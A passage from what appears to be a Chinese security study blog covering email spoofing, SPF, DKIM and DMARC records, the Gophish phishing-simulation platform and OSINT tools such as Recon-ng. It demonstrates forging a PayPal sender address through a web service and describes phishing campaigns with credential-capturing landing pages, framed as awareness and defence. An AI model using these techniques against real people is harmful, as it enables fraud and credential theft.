→ 使用者總共輸入的字數</li><li><code>tium.totalWordsFromCandidateBar</code> → 從鍵盤候選列選字的次數</li><li><code>tium.totalWordsAutocorrected</code> → 自動更正的字數</li></ul><p><img src="/assets/nMTSMholF589UNss0wwNX1RI3f9GH22jovCeBZGWRZ0=.png"></p><h2 id="Itunes-Metadata"><a href="#Itunes-Metadata" class="headerlink" title="Itunes Metadata"></a>Itunes Metadata</h2><p>&#x20;Itunes Metadata 這邊會列出一些裝置上安裝的APP </p><p><img src="/assets/mT5LK33BqV_BBiDqV8WyiXbqmUKXcCQe4lEyVllEug4=.png"></p><hr><h2 id="Email-Security"><a href="#Email-Security" class="headerlink" title="Email Security"></a>Email Security</h2><p>一個 Email 帳號的組成，會由一個小老鼠<code>@</code> 將左右隔開</p><ul><li>左半部分是依照使用者設定的字串，因此可以取名為<code>aaaabbbccc123</code> 、 <code>admin</code> 、<code>me</code> 皆可</li><li>右半部分是組織的 Domain Name，像是常見的 <code>gmail.com</code>；如果自己有架設 Email Server，就會是自己的 domain，如：<code>yunshiuan.com</code></li></ul><p><img src="/assets/RrromGCNVsSXy7dWVTw1aLyjocOQzZtGr4ggahqd7Fs=.png"></p><p><code>source: https://flickr.com/photos/jameschen1/24160994516/</code></p><p>到這邊就會有一個偽造正常信件的方式：如果攻擊者註冊了一個與正常組織幾乎相同、只差一個字的 domain，甚至直接冒用正常組織的 Domain Name 來欺騙使用者，只要使用者一個不注意就可能把它當成正常信件而被釣到，這個攻擊被稱為 <strong>Email Spoofing</strong></p><h3 id="Email-Spoofing"><a href="#Email-Spoofing" class="headerlink" title="Email Spoofing"></a>Email Spoofing</h3><p>攻擊者會試圖使用與常見組織相似或相同的 email 欺騙使用者認為是正常郵件。</p><p>ex : 可以透過 <a href="https://emkei.cz/">這個網頁</a>  偽造 Email 傳給使用者，這邊將 Email 偽造成<code>support@paypal.com</code> 並傳一封帳號異常的信給使用者</p><p><img src="/assets/PiPU_SyMgnQoKCb7bRDCvsyttMnbLm9Dt8RXKp7TKBk=.png"></p><p>那這樣只單看 Email 是很難分辨是否為釣魚信件，所以會透過郵件驗證協定 <strong>DMARC</strong> 來偵測郵件偽造攻擊。</p><h3 id="DMARC"><a href="#DMARC" class="headerlink" title="DMARC"></a>DMARC</h3><p>DMARC 是一種郵件驗證協定，它讓郵件網域擁有者能聲明當收到未通過驗證的郵件時該如何處理。</p><p>我在 demo 時寄到我個人的信箱，使用 Cloudflare 的 Email Routing 功能轉發郵件；因此當我把釣魚信寄到自己的信箱時，因未通過 DMARC 驗證而被拒收。</p><p><img src="/assets/aeeOF3FAMAlT_FXaTinD9zx6HRYzvPoellic9cvMBvM=.png"></p><p>如果DMARC 驗證通過的話會像下方圖示的一樣。</p><p><img src="/assets/cOeVnUSdeBGztRM6cfg0XEqzFCD75DgvYr24PX0TF7g=.png"></p><p>可以看到主要的驗證方式會使用到 SPF 以及 DKIM。</p><h3 id="SPF"><a href="#SPF" class="headerlink" title="SPF"></a>SPF</h3><p>SPF 是一種電子郵件驗證協定，它讓網域擁有者能夠指定哪些郵件伺服器有權代表該網域寄送郵件。這份「授權清單」會以 DNS TXT 記錄 的形式公開發布，接收方的郵件伺服器則可在收信時檢查寄件伺服器是否被授權，以判斷郵件是否可信。</p><p>可以使用 <code>dig</code> 指令查看 SPF</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ dig yunshiuan.com  TXT | grep spf</span><br><span class="line">yunshiuan.com.377INTXT<span class="string">&quot;v=spf1 include:_spf.mx.cloudflare.net ~all&quot;</span></span><br></pre></td></tr></table></figure><ul><li>v&#x3D;spf1：指定 SPF 協定版本</li><li>include:_spf.mx.cloudflare.net：授權清單由 Cloudflare 維護</li><li>~all：非授權來源標記為 SoftFail（可疑）<br>（若設定 -all 則代表 Fail，非授權來源應被拒絕）</li></ul><h3 id="DKIM"><a href="#DKIM" class="headerlink" title="DKIM"></a>DKIM</h3><p>DKIM 是電子郵件驗證機制之一，讓收件方可以驗證一封郵件是否真正由該網域授權寄出，並確認郵件在傳送過程中是否被篡改；它透過數位簽章機制實現。寄件方使用私鑰對郵件內容進行簽名，收件方則從 DNS 查出對應的公鑰來驗證。</p><p>DKIM 的公鑰會被發布在 DNS TXT 紀錄中，格式如下：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">selector</span>&gt;</span>._domainkey.<span class="tag">&lt;<span class="name">domain</span>&gt;</span></span><br></pre></td></tr></table></figure><p>以 Cloudflare 舉例，它的 selector 是 <code>cf2024-1</code>，查詢 DKIM 也可使用 <code>dig</code> 指令</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ dig cf2024-1._domainkey.yunshiuan.com TXT | grep DKIM</span><br><span class="line">cf2024-1._domainkey.yunshiuan.com. 377 IN TXT<span class="string">&quot;v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiweykoi+o48IOGuP7GR3X0MOExCUDY/BCRHoWBnh3rChl7WhdyCxW3jgq1daEjPPqoi7sJvdg5hEQVsgVRQP4DcnQDVjGMbASQtrY4WmB1VebF+RPJB2ECPsEDTpeiI5ZyUAwJaVX7r6bznU67g7LvFq35yIo4sdlmtZGV+i0H4cpYH9+3JJ78k&quot;</span> <span class="string">&quot;m4KXwaf9xUJCWF6nxeD+qG6Fyruw1Qlbds2r85U9dkNDVAS3gioCvELryh1TxKGiVTkg4wqHTyHfWsp7KD3WQHYJn0RyfJJu6YEmL77zonn7p2SRMvTMP3ZEXibnC9gz3nnhR6wcYL8Q7zXypKTMD58bTixDSJwIDAQAB&quot;</span></span><br></pre></td></tr></table></figure><p>總結來說 DMARC 驗證流程會是：接收方收到郵件後，先檢查 SPF 和 DKIM 認證，再根據 DMARC 政策決定郵件的處理方式（放行、隔離或拒絕）。</p><p>DMARC 記錄可以在 <code>_dmarc.&lt;domain&gt;</code> 找到</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">$ dig _dmarc.any.run TXT                                                                             </span><br><span class="line"></span><br><span class="line"></span><br><span class="line">; &lt;&lt;&gt;&gt; DiG 9.10.6 &lt;&lt;&gt;&gt; _dmarc.any.run TXT</span><br><span class="line">;; global options: +cmd</span><br><span class="line">;; Got answer:</span><br><span class="line">;; -&gt;&gt;HEADER&lt;&lt;- <span class="string">opcode: QUERY, status: NOERROR, id: 31385</span></span><br><span class="line"><span class="string">;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">;; OPT PSEUDOSECTION:</span></span><br><span class="line"><span class="string">; EDNS: version: 0, flags:; udp: 4095</span></span><br><span class="line"><span class="string">;; QUESTION SECTION:</span></span><br><span class="line"><span class="string">;_dmarc.any.run.INTXT</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">;; ANSWER SECTION:</span></span><br><span class="line"><span class="string">_dmarc.any.run.377INTXT&quot;v=DMARC1; p=quarantine; sp=quarantine;&quot;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">;; Query time: 226 msec</span></span><br><span class="line"><span class="string">;; SERVER: 100.100.100.100#53(100.100.100.100)</span></span><br><span class="line"><span class="string">;; WHEN: Thu Oct 09 20:09:24 CST 2025</span></span><br><span class="line"><span class="string">;; MSG SIZE  rcvd: 94</span></span><br></pre></td></tr></table></figure><ul><li>v&#x3D;DMARC1 : DMARC 版本</li><li>p&#x3D;quarantine : 主要政策，對主域名認證失敗的郵件進行隔離</li><li>sp&#x3D;quarantine : 子域名政策，對子域名認證失敗的郵件也進行隔離</li></ul><h3 id="Gophish"><a href="#Gophish" class="headerlink" title="Gophish"></a>Gophish</h3><p>下載連結：<a href="https://github.com/gophish/gophish/releases">https://github.com/gophish/gophish/releases</a></p><p>Gophish 是一個開源的釣魚模擬平台，用於進行社交工程演練，可以快速建立和發送釣魚郵件，追蹤點擊率和提交率，幫助組織測試員工的資安意識並提供教育訓練。</p><p><code>source : https://ui-code.com/archives/779</code></p><p>安裝很簡單，將 ZIP 下載之後執行裡面的執行檔就能架起</p><p><img src="/assets/9yIIcEGIjBtwp2TUs8hEn1hT_Il_Buo1FbIYSVM9nP0=.png"></p><p>如果要遠端也可以登入admin 介面，要去config.json 將admin 網址改成<code>0.0.0.0:3333</code></p><p>若要遠端也能登入 Admin 介面，請在 config.json 將 Admin 位址改成 <code>0.0.0.0:3333</code></p><p>架起來後會給你帳號密碼，網頁進入<code>0.0.0.0:3333</code>後登入就可以開始使用了</p><p><img src="/assets/gI4Up0C79FNgdPy_IY4j4hZSu3scYdFss05qVW5NJb8=.png"></p><p>裡面的功能非常豐富，包括</p><ul><li><strong>活動管理</strong>: 建立&#x2F;排程釣魚活動，指定目標群組、郵件模板、登入頁與寄件設定，並即時監控結果。</li><li><strong>目標群組</strong>: 管理收件人清單，支援手動新增與 CSV 匯入。</li><li><strong>郵件模板</strong>: 視覺化編輯與變數插入（如 &#123;&#123;.FirstName&#125;&#125;），可預覽與測試寄送。</li><li><strong>登入頁</strong>: 匯入&#x2F;客製 HTML，選擇是否擷取提交資料，支援點擊後&#x2F;提交後導向。</li><li><strong>寄件設定</strong>: 設定 SMTP（主機、帳密、TLS&#x2F;SSL、自訂寄件者&#x2F;標頭），支援測試連線。</li><li><strong>即時追蹤</strong>: 記錄寄送、開啟、點擊、提交資料（含 IP、User-Agent）；可選「回報」事件。</li><li><strong>儀表板與報表</strong>: 活動概況、成效趨勢，結果支援 CSV 匯出。</li><li><strong>REST API</strong>: 提供完整 API 以自動化建立活動、上傳模板&#x2F;名單、擷取結果。</li><li><strong>網域與證書</strong>: 自訂追蹤&#x2F;寄送網域與 TLS 憑證配置，提升可信度與達投遞率。</li></ul><p><img src="/assets/2xWCIDOeOd16WAYIllSS5iysk0uLCS1ibgVpO_vFsy4=.png"></p><p><code>source : https://ui-code.com/archives/779</code></p><hr><h2 id="OSINT"><a href="#OSINT" class="headerlink" title="OSINT"></a>OSINT</h2><h3 id="WaybackMachine"><a href="#WaybackMachine" class="headerlink" title="WaybackMachine"></a>WaybackMachine</h3><p>網站連結：<a href="http://web.archive.org/">http://web.archive.org/</a></p><p>這個網站是由 Internet Archive 維護的一個線上服務。它可以定期將網站的網頁內容 snapshot 存檔，讓人們能夠查看某個網站在過去不同時間點的樣子</p><p>例如我想要看一下 <a href="https://yunshiuan.com/">https://yunshiuan.com/</a> 網站之前的樣子，就可以將網址輸入進去後看看。</p><p><img src="/assets/1XCkWh3EsZrt_VK1tm_gQRoafiqcVr9vfBjomnlVdBQ=.png"></p><p>發現它在 8&#x2F;15 有被打了一個 snapshot，點進去看看後就可以看到在 8&#x2F;15 這個網頁時的樣子</p><p><img src="/assets/DgnhK5fhsurE8l2P3XwB4UKENppv9MiZ4XfVIDMUv1o=.png"></p><h3 id="Recon-ng"><a href="#Recon-ng" class="headerlink" title="Recon-ng"></a>Recon-ng</h3><p>下載方式</p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apt-<span class="built_in">get</span> update &amp;&amp; apt-<span class="built_in">get</span> install recon-ng</span><br></pre></td></tr></table></figure><p>Recon-ng 是一個用 Python 寫成、以模組化、指令列互動介面為設計的 OSINT 收集框架。它把各類資訊收集功能（DNS、WHOIS、搜尋引擎、API 查詢等）包成「模組」，用戶可以在工作區（workspace）中逐步執行、存檔與匯出調查結果</p><p>Recon-ng  的 tutorial 連結： <a href="https://hackertarget.com/recon-ng-tutorial/">https://hackertarget.com/recon-ng-tutorial/</a> </p><p>整體的操作會類似於 Metasploit，一樣會先引入模組，設定參數然後執行</p><p>直接執行 <code>recon-ng</code> 後可以使用 <code>marketplace search</code> 查看有什麼可以用的 modules</p><figure class="highlight gherkin"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br></pre></td><td class="code"><pre><span class="line">$ [recon-ng][default] &gt; marketplace search</span><br><span class="line"></span><br><span class="line">  +--------------------------------------------------------------------------------------------------+</span><br><span class="line">  |<span class="string">                        Path                       </span>|<span class="string"> Version </span>|<span class="string">     Status    </span>|<span class="string">  Updated   </span>|<span class="string"> D </span>|<span class="string"> K </span>|</span><br><span class="line">  +--------------------------------------------------------------------------------------------------+</span><br><span class="line">  |<span class="string"> discovery/info_disclosure/cache_snoop             </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-10-13 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> discovery/info_disclosure/interesting_files       </span>|<span class="string"> 1.2     </span>|<span class="string"> not installed </span>|<span class="string"> 2021-10-04 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> exploitation/injection/command_injector           </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> exploitation/injection/xpath_bruter               </span>|<span class="string"> 1.2     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-10-08 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> import/csv_file                                   </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-08-09 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> import/list                                       </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> import/masscan                                    </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-04-07 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> import/nmap                                       </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-10-06 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/companies-contacts/bing_linkedin_cache      </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/companies-contacts/censys_email_address     </span>|<span class="string"> 2.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2022-01-31 </span>|<span class="string"> * </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/companies-contacts/pen                      </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-10-15 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/companies-domains/censys_subdomains         </span>|<span class="string"> 2.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2022-01-31 </span>|<span class="string"> * </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/companies-domains/pen                       </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-10-15 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/companies-domains/viewdns_reverse_whois     </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2021-08-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/companies-domains/whoxy_dns                 </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-06-17 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/companies-multi/censys_org                  </span>|<span class="string"> 2.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2022-01-31 </span>|<span class="string"> * </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/companies-multi/censys_tls_subjects         </span>|<span class="string"> 2.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2022-01-31 </span>|<span class="string"> * </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/companies-multi/github_miner                </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-05-15 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/companies-multi/shodan_org                  </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-07-01 </span>|<span class="string"> * </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/companies-multi/whois_miner                 </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-10-15 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/contacts-contacts/abc                       </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-10-11 </span>|<span class="string"> * </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/contacts-contacts/mailtester                </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/contacts-contacts/mangle                    </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/contacts-contacts/unmangle                  </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-10-27 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/contacts-credentials/hibp_breach            </span>|<span class="string"> 1.2     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-09-10 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/contacts-credentials/hibp_paste             </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-09-10 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/contacts-domains/censys_email_to_domains    </span>|<span class="string"> 2.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2022-01-31 </span>|<span class="string"> * </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/contacts-domains/migrate_contacts           </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-05-17 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/contacts-profiles/fullcontact               </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-07-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/credentials-credentials/adobe               </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/credentials-credentials/bozocrack           </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/credentials-credentials/hashes_org          </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/domains-companies/censys_companies          </span>|<span class="string"> 2.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2022-01-31 </span>|<span class="string"> * </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/domains-companies/pen                       </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-10-15 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/domains-companies/whoxy_whois               </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-06-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/domains-contacts/hunter_io                  </span>|<span class="string"> 1.3     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-04-14 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/domains-contacts/metacrawler                </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string"> * </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/domains-contacts/pen                        </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-10-15 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/domains-contacts/pgp_search                 </span>|<span class="string"> 1.4     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-10-16 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/domains-contacts/whois_pocs                 </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/domains-contacts/wikileaker                 </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-04-08 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/domains-domains/brute_suffix                </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-05-17 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/domains-hosts/binaryedge                    </span>|<span class="string"> 1.2     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-06-18 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/domains-hosts/bing_domain_api               </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/domains-hosts/bing_domain_web               </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-07-04 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/domains-hosts/brute_hosts                   </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/domains-hosts/builtwith                     </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2021-08-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/domains-hosts/censys_domain                 </span>|<span class="string"> 2.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2022-01-31 </span>|<span class="string"> * </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/domains-hosts/certificate_transparency      </span>|<span class="string"> 1.3     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-09-16 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/domains-hosts/google_site_web               </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/domains-hosts/hackertarget                  </span>|<span class="string"> 1.1     </span>|<span class="string"> installed     </span>|<span class="string"> 2020-05-17 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/domains-hosts/mx_spf_ip                     </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/domains-hosts/netcraft                      </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-02-05 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/domains-hosts/shodan_hostname               </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-07-01 </span>|<span class="string"> * </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/domains-hosts/spyse_subdomains              </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2021-08-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/domains-hosts/ssl_san                       </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/domains-hosts/threatcrowd                   </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/domains-hosts/threatminer                   </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/domains-vulnerabilities/ghdb                </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-26 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/domains-vulnerabilities/xssed               </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-10-18 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/hosts-domains/migrate_hosts                 </span>|<span class="string"> 1.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2020-05-17 </span>|<span class="string">   </span>|<span class="string">   </span>|</span><br><span class="line">  |<span class="string"> recon/hosts-hosts/bing_ip                         </span>|<span class="string"> 1.0     </span>|<span class="string"> not installed </span>|<span class="string"> 2019-06-24 </span>|<span class="string">   </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/hosts-hosts/censys_hostname                 </span>|<span class="string"> 2.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2022-01-31 </span>|<span class="string"> * </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/hosts-hosts/censys_ip                       </span>|<span class="string"> 2.1     </span>|<span class="string"> not installed </span>|<span class="string"> 2022-01-31 </span>|<span class="string"> * </span>|<span class="string"> * </span>|</span><br><span class="line">  |<span class="string"> recon/hosts-hosts/censys_query                    </span>|<span class="string"> 2.1     </span>|<span class="string"> not installed 